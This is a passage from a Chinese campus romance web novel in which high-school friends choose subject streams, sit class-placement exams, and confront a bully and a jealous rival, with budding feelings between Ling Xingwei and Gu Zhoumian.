收回视线,凌杏薇突然想起来要加顾舟眠的微信的事情,她从书包里翻出那张纸条来,向对面发过去好友申请。
考虑到对方可能没有时时刻刻看着手机,发过去申请她就去洗漱了。
回来的时候屏幕上是两条未读消息,分别是顾舟眠和会扬帆起航发来的。
会扬帆起航:[还没睡,过半个小时就睡啦,姐姐早点睡噢!]
凌杏薇简单回复了他,就退出了Q.Q,去回复微信的消息了。
顾舟眠的微信名叫不渡舟。
不渡舟:[拿回手机了?]
凌杏薇赶紧抬手回复。
杏花微雨:[对啊,顾舟眠,你这个名字有什么特别含义嘛?为什么是不渡?]
凌杏薇发完这句话就打开了百度百科搜索。
[不渡舟的意思是不乘船过河,比喻不采取决断的行动或选择避免困难与挑战。]
这种消极的态度,不像是顾舟眠。
不渡舟:[没有什么含义。就像你的杏花微雨,是杏薇。我的不渡舟,是舟眠。]
凌杏薇若有所思,不知道聊些什么,问了他一个同样的问题。
杏花微雨:[还没睡嘛?]
不渡舟:[还没呢,晚点就睡。]
凌杏薇很认可的点点头,果然学霸都是一样的,喜欢挑灯夜读。
微信又跳出来一条消息。
不渡舟:[早点睡,晚安。]
似乎是有所察觉一般,凌杏薇循着光线往对面的楼栋看去,顾舟眠刚好抬眼,两双眼眸远远对视上。
凌杏薇心中莫名有些慌乱,别开视线的刹那,手指不小心将编辑到一半的消息发了出去。<
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杏花微雨:[你也是]
顾舟眠看着远处骤然暗下的房间窗口,缓缓收回视线,将目光落在眼前手机亮起的屏幕上。
面前书本上思路清晰地写下了那道奥数赛的解题过程,手机上发来的是他之前帮凌杏薇解题的照片。
同样是杏花微雨的ID名,可聊天软件却不是微信,而是Q.Q。
顾舟眠眼底流露出几分无奈的情绪。
兜兜转转,这道题还是回到了自己手里。
不过,她还是跟以前一样,哪怕是不熟悉的人拜托的事情,她也依旧会很上心地去帮忙解决。
想到这里,顾舟眠内心不免有些失落。
只是你肯定不记得我了。
不过没关系,我现在又有了崭新的身份光明正大站在你身侧。
退出□□,点开微信的未读消息,顾舟眠抬手回复。
不渡舟:[明天见,凌杏薇。]
好久不见,凌杏薇。
柠城一中,高二五班。
一张张资料由前往后递下来,是组合选科的填表选择。
柠城一中最近这个学期在搞改革,加了个晚自习,选科也推迟到高二开学一个月后了。
余瑶在旁边愁眉苦脸:“我理科这么差肯定是不敢选物理化学的。”
说着又凑过来问凌杏薇:“杏薇,你会选什么组合啊?”
“我嘛?我可能选物理吧,另外两科还没有想好哦。”
余瑶闻言十分颓丧地往桌上一趴,心里有些摆烂了。
“我应该会学历史,本来还想跟你一个班呢,但物理还是算了吧,我实在不敢挑战哦。”
凌杏薇笑了笑,伸手拍了拍余瑶的肩,安慰道:“没事的,就算不在一个班,你也可以经常来找我玩啊。”
吴春花在上面宣布放学事宜,今天星期五,她们可以不用晚自习。
吴春花不放心地叮嘱着:“把这个资料带回去跟你们的家长好好商量一下怎么选,下周一再统一交上来。”
全班异口同声:“知道啦,春花姐!”
吴春花囧:“说了多少遍了,不许叫我春花!”
全班笑作一团,好不温馨热闹。
吴春花佯装臭脸,不过两秒就忍不住笑了起来:“下课!”
教室门被推开,吴春花走出教室,陆陆续续有已经提前收拾好书包的学生相继走出教室。
有了前段时间雨天同路共伞的经历,凌杏薇和余瑶也和宋棋,顾舟眠他们熟络了不少,这段时间放学一直都是四个人同路一起走。
宋棋站在后门往里探着脑袋:“嘿!你宋哥来也!”
凌杏薇刚好收拾好书包,利落地单肩背好,不服气地双手叉腰仰头瞪他:“你凌姐在此,休想造次!”
晚一步收拾好东西的余瑶拉上书包拉链,很无奈地将两个互相不服气的小学生隔开。
“你们两个小朋友可不可以学习顾大佬稳重一点?”
宋棋很不服气地扬了扬下巴:“稳重?本少爷最不缺的就是稳重了。”
凌杏薇挪开视线,脚步不自觉往教室外走:“太中二了,你别说我认识你哦。”
“中二?”宋棋回过神反应过来,“我那明明是感性!”
余瑶无奈地摇了摇头转身走出教室跟上凌杏薇,临走之前还不忘叮嘱一句:“最后出教室的不要忘记关灯了。”
凌杏薇对顾舟眠的态度就完全不一样了,看见在走廊上等待的顾舟眠,凌杏薇完全像是看见了邻居家经常第一名的优秀小孩一样,不自觉就为他镀上了一层学霸滤镜。
凌杏薇朝他扬起一个笑颜:“顾舟眠,走吧!”
余瑶紧随其后,身后还传来宋棋手忙脚乱之下的呼喊:“你们教室的开关怎么这么分散啊?唉?你们走那么快干嘛,等等我啊!”
天色渐暗,太阳隐匿于云朵之后,黄昏为天边云彩镀上一层神圣的光彩。
此情此景,少年们肆意轻狂,嬉笑打闹的欢声笑语萦绕于校园。
花期不长,观花者便也格外珍惜这只此一回的花季青春。
吴春花收回拍照的手,满意地看着手机里的照片,转身回了办公室。
15. 这年级第一的位置,他已经替她……
一条小道的分岔路口上,四位少年兵分两路,在此告别。
凌杏薇走在最前面,她双手拉了书包拉肩带倒着走路,好奇地问:“顾舟眠,你会选哪几科啊?”
“全理。”顾舟眠脱口而出,仿佛不经大脑思考一般。
“全理啊......”凌杏薇改变了倒着走的方式,转过身来跟顾舟眠并肩同行,嘴里念念有词,好像是在思考着什么。
顾舟眠目光落在她身上,喉结滚了滚,轻轻抿了抿唇。
他敛眸问道:“你呢?”
凌杏薇没想到他会突然问自己,手指下意识指了指自己,有些不可置信道:“我啊?”
顾舟眠认真注视着她,轻声问:“会选什么呢?历史?”
这句没有主语的话乍一听像是他在自言自语,换了别人可能还不确定他是不是在问自己。
可他面前这人是凌杏薇。
凌杏薇才不会思考那么多弯弯绕绕顾舟眠是不是自言自语,因为她会直言自己的想法。
“我打算选物理!”凌杏薇笑着比划道:“不过你已经决定好了嘛?新高考的选科这么多,你要不要跟家人商量一下?”
顾舟眠笑了笑,没什么情绪:“我妈之前就说让我选全理,她不会有意见。”
“嗷,这样啊。”凌杏薇点点头表示理解。
转念一想好像也没毛病:“你理科这么好,选全理好像也正常。”
顾舟眠眼眸染上几分无奈,温和地看着她:“那你呢,还在考虑吗?”
凌杏薇思索道:“我其实也有点想学全理,不过我还是回去跟我妈妈商量一下再决定吧。”
顾舟眠敛眸:“这样啊。”
“嗯?”凌杏薇突然停住脚步,转身走到顾舟眠面前。
顾舟眠被他这个举动弄懵了:“怎么了?”
凌杏薇双手叉腰,一字一顿道:“你不对劲!”
顾舟眠眉宇染上几分笑意,挑了挑眉:“怎么不对劲了?”
凌杏薇收回手,煞有介事道:“哦,没有,套一下你的话。”
凌杏薇伸手拉拉书包带子,自言自语道:“感觉你刚刚有种不情不愿的感觉,还以为你有事情瞒着我呢。”
顾舟眠原本眼底留存的笑意霎时间荡然无存。
他还真有事瞒着她。
凌杏薇走在前面走了几步发现顾舟眠没有跟上来,奇怪地回头看还停留在原地的顾舟眠。
她挥了挥手,扬声喊道:“愣着干啥?累了嘛?”
顾舟眠大步跟上她:“来了。”
凌杏薇继续说:“你有啥事帮得上忙的不用瞒着我,大家都是朋友嘛......”
夕阳余晖褪去,夜幕降临,一高一矮两道身影缓缓走着,高个子的少年刻意放缓步子仔细听着旁边少女说话,少女笑颜灿烂,好不美好,路灯亮起,身影拉得很长很长......
清晨的阳光不燥,空气中弥漫着雨后天晴的氤氲水汽。
僻静的街道旁,一道尖锐的女声呦呵着响起。
“哎哟!瞧瞧!这不是我们秦大小姐吗?!”
为首的两个女生动作利索地上前扣住过路的女生的双肩,将人压到了中间明显是这批女生中掌握话语权的人面前。
是孙倩。
她身子微俯,用自己做着时髦款式但在此时却显得异常尖锐的美甲扯着眼前女生的头发将其脑袋勾了起来。
孙倩声音很轻,宛如恶魔低语:“跑什么?姐几个好久没聚了,叙叙旧?”
被压着的女生身子抖的不像话,一听这话直接条件反射般双膝跪地,颤颤巍巍地从书包里拿出叠得整整齐齐的零钱。
“我,我真的只有这么多了……”
女生嗓音带着些哭腔,从里面拿出几张红钞票来,面上流露出几分肉疼和不舍,神情怯弱的瞥了孙倩一眼,将那几张钞票递给她旁边的人。
谁知旁边的女生根本不买账,抢过她手里的钱,抬脚就对着她踹了下去。
“挑挑拣拣什么!都给我拿来!”
被欺负的女生被踹倒在地,又气愤又委屈,神情不甘但又怯弱地抬起头来:“那个不可以!那是我的饭钱!”
那女生将她手里的钱全部抢了去,转头就像变了个人似的神色恭敬地双十一将那些钱递到孙倩面前。
“之前的呢?”孙倩只简单扫了眼钞票的数量,没伸手去接。
旁边其他的跟班一听立马上去就是一脚:“咱倩姐问你话呢!”
被欺负的女生狼狈的跪倒在地,屈辱地低着头不吭声。
孙倩不耐烦地轻啧一声,旁边的跟班很有眼力见地上前想动手,巷子口突然响起一道刻意拉高音量的女声。
“警察叔叔就在这里!我刚刚看见有小混混在欺负路人!”
这道声音对于被霸凌者就宛如九天神女降临,如同天籁之音,救她于水火。
秦穗勉强撑起身体从地上坐起来,就听见孙倩一声令下:“撤!”
这边的小巷都是四通八达七弯八拐很多小道,这群女生迅速撤离在她的视线中,还没等她捡起书包站起来,一道温柔的声音在她耳畔响起。
“你怎么样?要不要送你去医院瞧瞧?”
余瑶关切地看着她,扶了扶鼻梁上的眼镜,笑得很温柔。
“警察……”
“没有警察,”余瑶摇了摇头,压低了声音,“我是骗她们的。”
……
远处的孙倩收回视线,眼底带了几分阴冷。
旁边的小跟班愤愤不平:“咱们就这样放过那个贱蹄子?”
另外一个有眼力见的女生瞪了她一眼:“倩姐做事要你质疑?”
说着就将手里的钞票双手奉上:“倩姐,这是我们今天收到的保护费。”
孙倩根本不看,随口道:“你们姐几个自己分一下吧。”
众人欢呼,很明显这样的情况也不是第一次了。
孙倩笑着看向已然空无一人的巷子口,笑容阴翳狠毒。
喜欢多管闲事是吧……
没关系,来日方长。
*
周一,放学时分。
凌杏薇的选科意向表还是白纸一张。
顾舟眠站在她身后,状似随意地发问:“还没考虑好选科?”
凌杏薇苦恼地点了点头,又轻轻摇了摇头。
“家里人有什么建议吗?”
凌杏薇想起自己周末询问赵欢时的对话,有些泄气了。
*
赵欢:“女孩子好像很多都是选文科的多一点噢。”
凌杏薇试探道:“那理科呢?”
“理科好像没见得几个女娃娃想学……”赵欢说着,话音一转。
“薇薇呀,你喜欢哪个呀?”
凌杏薇不好意思地嘿嘿一笑:“我有点想学理科。”
“学理科呀,”赵欢手上的动作没停,“理科也可以呀。”
凌杏薇从沙发上蹦起来凑到赵欢跟前:“真的?!”
“当然啦,我宝贝女儿喜欢什么就学什么!”
凌杏薇反问:“您就不怕我学不好?”
赵欢停下手中的动作,神色温柔道:“你这孩子打小就聪明,想学的哪有学不好的,不想学罢了!”
……
凌杏薇拿起桌上的选科表,神色凝重:“我妈说要我选自己喜欢的就好。”
“杏薇你还没交呢?”余瑶拿着从小卖部买的水从外面回来。
她们调了课,最后一节是体育课,早早就解散了,没到放学时间教室就空的差不多了。
“我等会去春花办公室帮你捎过去啊?”
凌杏薇笑着应道:“好啊。”
看出凌杏薇的纠结,顾舟眠说:“遵从自己的内心。”
凌杏薇抬眼看他,顾舟眠也不避不闪,直直对上她的目光,坚定地朝她点了点头。
凌杏薇眸光一闪,将目光再次落回了眼前的选科表上。
这一回,她没再犹豫,笔下生风,毫不犹豫地在纸上写下了自己内心的选科组合。
她目光坚定地将选课表交到余瑶手里,然后目送着余瑶离开教室直至她消失在自己的视线里这才收回目光。
这一幕被她身后的顾舟眠尽收眼底。
他眸光微动,意味不明地开口:“全理么?凌杏薇,你想不想试试看。”
凌杏薇没回答,她面上没有一贯洋扬起的明媚笑容,镇定沉静地回望着他。
顾舟眠再次开口:“我的意思是,要不要跟我一个班?”
试试看跟他一个班。
试试看考进重点班。
试试看重回巅峰。
这年级第一的位置,他已经替她守了很久了。
凌杏薇愣神地看着他,好半天才回过神来,她喉间艰涩,可面上却如同小草初生般焕发生机,眼中隐隐闪烁着希望的光彩。
她笑着抬眸:“好呀。”
……
一道人影挡在余瑶面前,余瑶以为是不小心
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挡道的同学,想要绕道却被另外一个人再次挡住了。
余瑶终于停下脚步,抬头看去。
眼前的女生面相刻薄,笑着的时候依旧显出几分阴沉来。
是孙倩。
孙倩此刻的语气实在称不上友好:“哟,这位同学好生面熟啊!”
余瑶沉默,转身想走,却被孙倩身旁的小跟班眼疾手快拉住了。
“急着走什么呀!我们倩姐找你叙叙旧呢!”
小跟班拉着她的手,余瑶一时半会甩不开,孙倩趁机上前来将她手里的东西抢走。
余瑶急了,大声喊道:“你还给我!”
孙倩才不管她说什么,自顾自地看着那张选科表。
她稀罕道:“嘿呦,理科?还是全理?”
孙倩晃了晃那张选科表,笑得灿烂:“这位同学,叫余瑶是吧,你跟凌杏薇关系很好?”
孙倩话音刚落就感觉手上一空,随后毫不怜香惜玉地被推开了。
来人声线清越却罕见地如冰泉般刺骨冷淡:“滚开。”
宋棋黑着张脸将余瑶拉到自己面前,确认眼前从孙倩手里抢过来的选科表完好无损这才将其递给了余瑶。
“你去吧,我在外面等你。”
宋棋说着又补充道:“不急,我们都等你。”
余瑶感激地朝他点点头,迟疑地看了孙倩几人一眼,越过宋棋给她开好的路,径直往办公室里走去。
孙倩终于缓了过来,眯着眼打量着宋棋。
还不等孙倩开口,宋棋就先发制人了。
“这位同学,我没说过我不打女人。”
宋棋扯了扯唇,笑得明朗:“你要试试看吗?”
他虽是笑着的,可孙倩等人却并未从他眼里窥见半分笑意。
他目光坦然无畏,仿佛在说“我一光脚的才不怕你丫你穿鞋的”。
宋棋平时人缘好,性格又话唠活泼,孙倩多多少少听说过他这个重点班的好学生。
要是惹了事,学校心里恐怕是更愿意偏向好学生是受害方。
孙倩后退一步,咬牙切齿下达命令:“走!”
一行人浩浩荡荡地离开了。
不远处悄然探出一个脑袋来,宋棋刚回头就跟那个脑袋的主人对视上了。
宋棋有些无奈地笑了笑:“在那干嘛呢?”
余瑶从办公室走出来,不好意思地开口:“谢谢你啦。”
宋棋臭屁,装作没听见。
他歪了歪脑袋,往余瑶那边偏了偏身子,犯贱道:“什么?风太大了!”
余瑶看出来他在耍人了,双手拱成个喇叭,脸颊微红大声说:“我说我谢谢你!”
可能是余瑶刚刚被孙倩绊住耽搁的时间有些久了,凌杏薇提着余瑶的书包和顾舟眠下楼来找她们。
此时两人正站在走廊尽头朝她们挥了挥手,静静等着他们。
余瑶说完这句话就跑开去找凌杏薇她们了。
宋棋挠了挠耳朵,嘀咕着跟上她:“之前怎么没看出来你这姑娘嗓门这么大呢……”
凌杏薇将书包递给余瑶笑着说:“人齐了,我们走吧!”
宋棋跟在余瑶后面走过来,看着手上空空如也的顾舟眠,愤愤不平道:“人齐了书包没齐啊!”
“顾舟眠你这没良心的,看人家还给带书包呢,我怎么没这待遇?!”
顾舟眠平静看他一眼,一如既往地言简意赅:“你也没提。”
宋棋闪身踏上台阶:“算你狠,等着爷爷拿个书包!”
宋棋话音刚落,就消失在凌杏薇三人的视线里。
余瑶紧张地看向凌杏薇,想起孙倩刚刚话里带刺问她跟凌杏薇的关系,顿时一阵后怕。
“杏薇,选科表我帮你安全交给老师了。”
凌杏薇不知道她刚刚碰见孙倩了,笑着点点头,拉着她的手往下走。
“知道啦,你办事我肯定放心呀!”
“话说接下来是不是马上就要安排分班考试了?”
凌杏薇思维跳跃,余瑶原本准备开始说的话咽了回去,思绪开始被凌杏薇带着走,很快就忘记了刚刚准备说的事情。
顾舟眠跟在她们后面开口:“得准备复习了。”
刚刚走出教学楼,三楼一个探出的脑袋高声朝着她们喊了一嗓子。
“喂!”
“你们三个!又!不!等!我!啊啊啊啊啊!”
“噗嗤!”
凌杏薇三人相互对视一眼,不约而同笑了起来。
16. 以后,请多多指教
深秋的温度直蹿而下,校园里黄绿相接的树叶被风吹散,飘零落地,裹挟着丝丝凉意钻入门窗未关紧的教室内。
在这片萧瑟寒风的造势下,拧城一中的分班考试来势汹汹。
余瑶在凌杏薇前两个考场,顾舟眠和宋棋则分别在一二考场。
余瑶选的文科,要写的内容多,不到考试打铃收卷都没几个人放下笔来。
宋棋“经过”余瑶所在的考场时往里窥探了几眼,不禁摇头感叹道:“真真是,笔墨江山,书生意气,挥斥方遒啊!”
顾舟眠从他身后走来,顺手将他带着往前走。
嗓音很淡,说话总是像平淡叙事,毫无情绪波动:“走吧。”
“着什么急啊?”口上虽是这样说,但宋棋也没多作停留。
走出教学楼,远离了考场,宋棋思索着开口。
“你难道就不好奇她们考得怎么样吗?”
顾舟眠面上微动,却又欲言又止。
他抬眼看向三楼最左侧的窗户,此刻里面的理科生们正冥思苦想着,与旁边另外一个偏文选科考场里正在奋笔疾书考历史的学生形成鲜明对比。
那是凌杏薇所在的考场。
“也是。”
宋棋自言自语着。
“你总成绩一直稳居榜首,自然从没关心过别人的成绩。”
顾舟眠轻启的唇抿紧了,没再张口。
隔了好半天,他才轻声回应宋棋。
“嗯。”
宋棋:“……”
怎么感觉这个字杀气这么重?
宋棋抖了抖肩膀,将目光投向了自己身旁周遭冷意愈来愈重的好兄弟——顾舟眠。
宋棋只当他是想起来考试算错了个小步骤有些小失落,很体贴地没出言拆穿他,自动噤声后退与他拉开距离离得远了些。
叮铃铃~
考试铃响,停笔收卷。
教学楼陆陆续续出来一些结伴而行的女生和勾肩搭背的男生们。
茫茫人海之中,宋棋眼尖地看见梳着双马尾带着黑框眼镜的余瑶和走在她旁边言笑晏晏对着她说着什么的凌杏薇。
他展臂挥手,朝着教学楼路口扬声喊道:“余瑶!凌杏薇!我们在这!”
凌杏薇她们也看见他了,抬手也朝他们挥手,随后笑着朝他们这边走来。
秋风冷意渐浓,微风不燥。
少女明媚如骄阳,像是平静夜空中一次忽然绽放的烟花,蓦然回首,令人难以忘怀。
顾舟眠思绪回笼,望着巧笑嫣然走到自己面前的两位女生颔首示意。
宋棋嘿嘿一笑:“人齐了,我们走吧!”
今天分班考试,老师需要批改试卷,所以考完学校就给他们提前放学回去了。
自从上次四人行建立起坚固的放学同行友谊之后,她们现在经常四个人放学一块走。
平时中午吃饭碰见了也会一起拼个桌吃饭。
在分岔口经历熟悉的两两分别后,顾舟眠跟凌杏薇并排而行。
有凌杏薇和宋棋在的时候顾舟眠经常都是倾听的角色,但一回,顾舟眠主动开了口。
[你难道就不好奇她们考得怎么样吗?]
宋棋的话历历在目,顾舟眠垂下眸来,内心低笑了一声。
顾舟眠面色未变,可内心早已惊起千层浪:“今天分班考试……”
他当然好奇。
凌杏薇考完试,还未真正跟他说过一句话呢。
或许是因为没有外界纷扰,顾舟眠内心的隐晦情绪不再深藏,逐渐露出他内心那跌落在地却依旧渴望被阳光滋润的咸涩裂果来。
他问:“凌杏薇,你考得怎么样?”
凌杏薇一听这话背着手转过身来,面对着他神秘一笑。
“你猜?”
顾舟眠怔愣着,在大脑空白的下一瞬反应过来,嘴角扯出一抹生硬的弧度。
“不知道。”
那抹笑转瞬即逝,凌杏薇疑惑地看着越过自己径直往前走的顾舟眠逐渐瞪圆了眼。
她还是第一次看见顾舟眠主动流露出这样的表情来。
凌杏薇小跑着追上他,边看他边嬉笑着出声。
“顾舟眠,你刚刚是笑了吗?”
顾舟眠原本是为了掩藏内心对所设问题答案期待的紧张情绪,所以才假装冷漠和满不在乎。
此刻计划被凌杏薇不按套路出牌的回答所打乱,他内心竟然涌现出一道莫名恐慌的情绪。
他害怕秘密被知晓。
顾舟眠漫不经心地抬眼,对上凌杏薇笑魇如花的小脸,淡然出声:“嗯。”
凌杏薇泄气地收回因好奇而探出的脑袋。
她小声嘀咕着:“好好的少年郎,怎么突然就不鲜活了呢。”
顾舟眠内心的庆幸在听见这句话时霎时间烟消云散,取而代之的是他近乎惨白的脸色。
所幸他平日里经常是一副不苟言笑的冰山脸,这时也看不出什么端倪来。
“顾舟眠?”
是凌杏薇在喊他了。
凌杏薇三两步走到他面前:“怎么停下了?身体不舒服吗?”
凌嫩分明的指尖在他面前轻轻晃着,顾舟眠面色缓和,对着那指尖伸出了手。
凌杏薇的手指温软,指尖纤细与他的大掌在映衬相比之下显得十分娇小。
顾舟眠轻轻捏着凌杏薇的皓腕,垂眸不语,这两秒仿佛隔了两个世纪,在凌杏薇开口之前,顾舟眠松开了手。
他轻颤着眼睫,决然别开眼,将触碰过凌杏薇的那只手轻轻蜷缩着放到身后。
“没事。”
他音调冷淡,如果忽略他微哑嗓音的话,还真以为他此刻若无其事的样子是真的。
似乎是看见凌杏薇还是保持担忧看向他的姿势,顾舟眠往前走了两步,轻轻扣住她的肩膀将她带着往后转了一圈往前走。
他语气无奈:“走吧。”
说着,他便克制又自然地垂下了轻轻搭在凌杏薇肩上的手,将其收到了上衣校服口袋中。
出人意料的是,凌杏薇没有多问什么,她难得安静下来走在顾舟眠的旁边,神态安宁,似乎是在神游沉思。
一路寂静,不胜当初热闹。
……
分班考试结果揭晓,余瑶和凌杏薇看着挂榜的工人离开,皆是忍不住往窗外看去。
可她们也没忘记现在正处在课堂,也不好太明目张胆,只能私下暗自紧张。
“杏薇,你紧张不?”余瑶攥紧她的手,目不转睛地看向那道红榜。
“有点儿。”凌杏薇点点头,轻轻拍着余瑶的手以示安抚。
下课铃一响,各个班门大开,学生们如鱼龙贯出不一会儿就占领了红榜的前排。
等凌杏薇和余瑶手牵手来到红榜外时,只能看得清眼前那一颗颗密密麻麻的人头。
“顾舟眠,你还是第一!”
沉默的人群内爆发出一道辨识度极高的兴奋欢呼声。
余瑶和凌杏薇对视一眼,不约而同地笑了起来。
这道嗓音肯定是宋棋的。
宋棋又在理科1班找自己的名字,终于在中间的位置上找到自己的名字,还不等他跟身边的人分享喜悦,这人就消失在人群中。
“人呢?顾舟眠?!”
顺着红榜往下看,理科1班倒数第二——凌杏薇。
文科2班中下游位置——余瑶。
宋棋满意了,转身功成身退。
凌杏薇和余瑶虽然很想看到自己的名次,但现在人太多,她们决定等下一节下课再来看。
“抱歉,借过一下。”
顾舟眠挤开人群从中步伐从容地走了出来,瞥见一抹熟悉的背影正在准备转身离去。
或许是刚刚得知好消息,顾舟眠按耐不住开心,想要分享。
抑或是,想要......跟她多说说话。
“凌杏薇。”顾舟眠喊她。
“顾舟眠?”凌杏薇回头,见是他,嘴角荡漾起一个甜甜的笑来。
凌杏薇先开口了:“怎么样?你肯定是1班。”
顾舟眠点点头。
“那,你看见你的了吗?”
顾舟眠第一次觉得自己讲话这么慢过。
一边讲,一边看对方的神情。
考进了1班是好消息,可倒数第二的成绩,是凌杏薇想要的吗?还是说,控分了?
余瑶说:“没呢,顾学霸,我们都没能挤进去。”
顾舟眠点点头。
也是,她们还没看见呢。
那他要不要告诉她呢?
凌杏薇看着依旧密密麻麻的脑袋们,收回视线问道:“你有看见我们的名次吗?”<
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顾舟眠酝酿好正准备开口,宋琪从人群中不怎么体面地挤了出来。
“顾舟眠看完他的就不见人影了,还得是你们英俊潇洒又玉树临风的宋sir来给你们揭晓答案啊!”
“理科1班!”
宋棋将手伸到凌杏薇身前打了个响指:“bingo!”
“文科2班。”
宋棋又将手伸到余瑶身前,这回他没打响指,他卖了个关子:“你猜?”
余瑶原本期待的星星眼瞬间回归正常,她翻了个白眼,冲过去跟宋棋掰扯。
眼看着两个人打闹着越跑越远,凌杏薇和顾舟眠对视一眼也抬脚跟上她们。
走在楼梯间往上走,顾舟眠看向凌杏薇,由衷地祝福道:“恭喜你。”
“也恭喜你啊,顾舟眠,以后我们就是同班同学了。”
“好啊,凌同学,以后,请多指教了。”
楼上探出一个脑袋来。
宋棋朝他们喊道:“你们两个还挺官方。”
余瑶也笑嘻嘻地探出头来:“应该再握个手,这样子比较正式。”
宋棋偏头看她:“她俩握手了,那我们俩也握一个呗。”
余瑶笑脸瞬间垮下去了:“我又不是你们理科班的,而且我到底是不是文科2班的?”
两个人打闹着上了楼,声音逐渐远去。
凌杏薇噗呲笑了起来,顾舟眠也忍不住弯了弯眼,两人对视一眼,再次笑了起来。
分班考试结果已经揭晓,中午午休时间她们在徐光明大喇叭的催促声下搬到新分好的班级里。
女生不好搬桌子,凌杏薇和余瑶互帮互助帮对方搬好东西正准备回去休息,就被一个不速之客伸手拦住了去路。
“凌杏薇!”路茴气势汹汹走来,直接横在她们身前。
“你先回去吧。”凌杏薇转头对着余瑶嘱咐道。
余瑶原本还想说些什么,听见凌杏薇这话欲言又止,最终还是点了点头松开牵着她的手上了楼。
“理科1班?凌杏薇,你倒是厉害。”
凌杏薇一听这话就没什么兴致了。
原以为路茴多少能说点有营养的话,没想到现在还是一点长进都没有。
见凌杏薇绕过她想走,路茴哪肯这样就让她走?
她一把拉住凌杏薇,语气莫名激动起来。
“你这么拼命想要考进一班不就是为了吸引叙朝哥哥的注意吗?现在成功了你很得意?”
凌杏薇弯了弯唇,眼底却并无笑意:“终于不装你温柔贴心又懂事的小青梅了?”
“你以为叙朝哥哥知道你救了他,他就能对你感恩戴德吗?凌杏薇,我告诉你别做梦了!”
“叙朝哥哥现在就是认定海边是我救的他,你别再白费力气接近他了!他喜欢的是我这个人,他只喜欢我!”
路茴一张甜美的脸却没了在唐叙朝面前时的乖巧温和,在凌杏薇的平静之下显得恶毒又刻薄。
一道轻嗤声响起:“什么救命之恩?”
“什么海边救人?”
凌杏薇的表情实在无辜,听得路茴都差点信以为真,脸上浮现出几分迷茫的神色,拉着她的手都不自觉松了松。
凌杏薇就借着路茴面露犹疑的这几秒果断甩开了路茴的手。
语气讥讽道:“你喜欢就赏你了。”
“我能上理科1班是因为我有这个实力,而唐叙朝,我只想说不属于我的东西,我真的一点兴趣都没有。”
路茴面色青白交接,好半天才勉强憋出一句狠话来。
“你最好是这样。”
凌杏薇才不会惯着她:“不是也跟你没关系。”
“不如让我来猜猜你和唐叙朝这次分班考试去了哪个班?”
凌杏薇挑眉看着眼前眼神躲闪明显没了底气的路茴。
“不会没上你心心念念的一班吧?”
路茴面上挂不住,反驳了一句:“谁知道你是靠什么手段进的一班。”
凌杏薇面色冷了下来:“如果你对学校的考核结果有所质疑可以向校方提出质疑,我不接受你毫无依据的诬陷。”
“还有,你觉得我一个考进一班的人去大费周章吸引一个连一班都考不进的唐叙朝的注意……”
“路茴,你不光看男人的眼光不怎么样,脑子也该去医院看看了。”
17. 一朝回到解放前
“你大费周章吸引他的注意力,甚至努力学习考上一班不是为了唐叙朝是为了什么?你敢说你对他没有一丝非分之想!”
凌杏薇简直被路茴磨得没了脾气。
“你就是想听我说这些是么?”
“我偏就不如你的意又如何,我对唐叙朝有没有感情与你有什么关系?你喜欢唐叙朝那是你的事,但三番四次算计我就是你的不对了。”
远处走廊上猛然响起一声喝止:“凌杏薇!”
凌杏薇头疼地闭了闭眼,转过身去根本不愿面对这半路杀出来的程咬金。
唐叙朝可真会挑时间!
她这下可真是跳进黄河都洗不清了!
“你终于肯承认自己欲擒故纵了!”
听见唐叙朝这误解极深这句话,凌杏薇为自己辩解的声音都显得有气无力。
“你以为你是人民币啊,谁都要喜欢!是,我以前确实喜欢你,但那都是曾经,黑历史你懂不懂?!给你留点面子你硬要逼我说出来?”
“行,那我现在跟你,还有你路茴,我现在就跟你们说彻底把这事儿一次性说明白了,我现在满心满眼都是学习学习再学习!请求你们不要再来打扰我的生活,OK?!”
唐叙朝根本就油盐不进,他只想输出自己的观点。
“靠好成绩来吸引我的注意,凌杏薇,我承认你这招很高明,但我希望我和你之间的事情你不要把路茴扯进来,她还要好好学习,绝不可以沾染上早恋的流言蜚语。”
“爱信不信,你俩锁死一起滚蛋吧。”
凌杏薇说完这句话,不等他们反应就直接越过路茴往楼上走。
心里还很无奈吐槽着,刚刚跟这两个渣男怨女掰扯这些无聊的东西真的浪费了她很多时间。
但她想得简单了,唐叙朝再次喊住她。
“凌杏薇,杨老师找你。”
凌杏薇停了继续往上走的脚步,收回迈向更高一层台阶的脚回身望向唐叙朝。
“杨鑫老师和李源老师都在办公室等你过去。”唐叙朝再次强调。
凌杏薇垂落在身侧的手松了又紧,几乎是咬牙切齿朝唐叙朝扬起一个“友好”的笑容:“知道了。”
这一回,凌杏薇不再回头,径直往楼上走去。
余瑶正猫着腰躲在楼梯间正往外左顾右盼着,神情显得有些焦急。
凌杏薇没想到余瑶还在上面等着她,跑上去拍了拍她的肩膀:“我解决好啦,你怎么还没进去?”
余瑶回过头来,面露犹疑道:“杏薇,我好像迟到了。”
凌杏薇面色微凝,疑惑道:“现在不是午休时间吗?也抓迟到?”
余瑶煞有介事地说:“我们班主任是教历史的,要求我们每天午休前刷二十分钟的题。”
余瑶说着又补充道:“我们那个班主任可凶可严厉了,要是知道我迟到我肯定要被骂死了……”
凌杏薇听到这大概也了解情况了,她先前总是时不时逃课旷课啥的,在危险边缘反复试探,坏学生做久了,对这些事情最有经验。
她给余瑶支招:“你要是害怕被骂,就先去厕所躲十分钟的样子,等你们班主任走了,再偷偷溜回去,反正才刚刚分班,她肯定认不全人,到时候如果问起你就说你拉肚子了。”
余瑶眼眸一亮,显然觉得这个方法可行。
但余瑶还是有所顾虑:“会不会被识破啊?”
“应当不会,你先去厕所待着,到时候出来把欠下的题目补上应该问题不大的。”
余瑶点点头,两个人在楼道分开往相反的方向走去。
高二科任老师办公室内。
“单科第一?”李源甩了甩手里的成绩单,对着杨鑫说,“老杨啊,这回真不是我嘲讽你,你看看这数学成绩进了前三没?”
“你就拿这前三都没进的单科成绩来跟我打赌啊?未免有些——心高气傲了吧。”
李源刻意在最后那几个字上加重语调,听得一旁的凌杏薇不禁皱了皱眉头。
月考不是还没开始吗?他们什么时候把赌约提前到分班考试来兑现了?
她这次数学确实没进前三,甚至连前十都没考进去。
她估算过她从前成绩正常可以进步的分数,一个常年分数在她从前那个区间的学生,再努力也不可能在高手如云的理科一班短期内考到数学单科第一的。
“谁让你看数学成绩了?”杨鑫淡定接话,拿出成绩单将其拍在李源的桌面上。
“看看你教的物理学科。”
在李源低头搜寻凌杏薇名字看成绩的那几秒,凌杏薇也在心里回想自己这回物理科目的成绩。
“69分!”杨鑫兴奋的声音响起。
凌杏薇心里陡然咯噔一下。
